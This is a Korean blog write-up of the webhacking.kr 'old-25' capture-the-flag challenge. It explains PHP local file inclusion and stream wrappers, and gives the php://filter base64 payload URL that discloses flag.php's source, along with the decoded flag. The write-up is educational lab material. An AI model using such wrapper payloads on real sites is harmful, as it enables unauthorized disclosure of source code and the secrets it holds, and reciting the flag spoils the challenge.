yon11b

[webhacking.kr] old-25 본문

보안/WRITE_UP

[webhacking.kr] old-25

yon11b 2022. 5. 19. 23:04
반응형

?file=hello가 디폴트 페이지다. hello world가 출력되었다. hello.php가 실행된 것 같다. (여기서 출력되었다고 하지 않고 실행되었다고 한 것을 주의 깊게 보라)

 

?file=flag를 입력했더니 FLAG is in the code가 출력된다. 역시나 flag.php가 실행된 것이다.

그런데 출력된 내용을 보면 플래그가 코드 안에 있다고 하고 있다.

flag.php 파일을 실행시키는 것이 아니라 flag.php 파일의 코드를 봐야하고, 그 코드 안에 flag가 있다는 것을 말해주고 있는 것이다.

 

헷갈린다면 아래 더보기를 클릭해보자.

더보기
<?php
	echo "hello world";
?>

[test.php]

 

<test.php 파일 실행>

hello world

 

 

<test.php 파일 출력>

<?php
    echo "hello world";
?>

 

 

flag.php 의 코드 내용이 출력되게 하려면 어떻게 해야 할까?

 

LFI vulnerability를 이용, PHP wrapper를 사용하면 된다.

 

wrapper란?

실제 데이터의 앞에서 어떤 틀을 잡아 주는 데이터 또는 다른 프로그램이 성공적으로 실행되도록 설정하는 프로그램이다. 인터넷상에서, http://와 ftp:// 등과 같이 인터넷 주소 또는 URL의 앞에 붙는 것들도 래퍼라 할 수 있다. 어떤 단어를 감싸는데 사용되는 < 또는 > 등과 같은 꺽쇠 기호들도 래퍼라고 한다. 

 

여러가지 wrapper들

  • file:// — Accessing local filesystem
  • http:// — Accessing HTTP(s) URLs
  • ftp:// — Accessing FTP(s) URLs
  • php:// — Accessing various I/O streams
  • zlib:// — Compression Streams
  • data:// — Data (RFC 2397)
  • glob:// — Find pathnames matching pattern
  • phar:// — PHP Archive

 

정리하자면, 래퍼는 활동범위를 설정하고 좀더 중요한 다른 프로그램의 실행을 가능하게 하는 프로그램이나 스크립트를 말한다. 

출처

 

PHP wrapper

php에서 include시 php태그가 존재하면 php실행되고 해당 코드는 출력되지 않는다.

하지만 base64등의 인코딩을 통해 php tag를 인코딩 시켜서 코드가 실행되지 않고 출력 되도록하여 소스 코드를 노출시키는 방법을 많이 사용한다. [출처-드림핵]

<?php echo 'test !'; ?>

[test.php 파일]

 

<?php
include 'test.php';
/*
test !
*/
include 'php://filter/read=convert.base64-encode/resource=test.php';
/*
PD9waHAgZWNobyAndGVzdCAhJzsgPz4=
base64_decode("PD9waHAgZWNobyAndGVzdCAhJzsgPz4="); ==> <?php echo 'test !'; ?>
*/
?>

[php wrapper를 이용하여 test.php의 코드를 base64 인코딩 하기]

 

즉, www.url.com?param=php://filter/convert.base64-encode/resource=주소

를 입력하면 base 64로 입력한 주소의 파일 코드 전체가 인코딩 된 값이 출력이 된다.

 

이걸 old-25 문제에 맞추어 변경해보면 아래와 같다.

http://webhacking.kr:10001/?file=php://filter/convert.base64-encode/resource=flag

 

화면에 아래의 값이 출력되었다.

PD9waHAKICBlY2hvICJGTEFHIGlzIGluIHRoZSBjb2RlIjsKICAkZmxhZyA9ICJGTEFHe3RoaXNfaXNfeW91cl9maXJzdF9mbGFnfSI7Cj8+Cg==

 

온라인 디코딩 사이트에서 base 64를 디코딩 해보니 아래의 php 코드와 함께 그 안에 있는 flag를 얻을 수 있었다.

<?php
  echo "FLAG is in the code";
  $flag = "FLAG{this_is_your_first_flag}";
?>

 

 

[참고]

자주 쓰이는 wrapper들과 설명 good

 

 

728x90

'보안 > WRITE_UP' 카테고리의 다른 글

[DH] Mango  (0) 2022.07.28
[DH] csrf-2  (0) 2022.05.19
[webhacking.kr] g00gle2  (0) 2022.05.19
[webhacking.kr] g00gle1  (1) 2022.05.19
[DH] xss-2  (0) 2022.05.18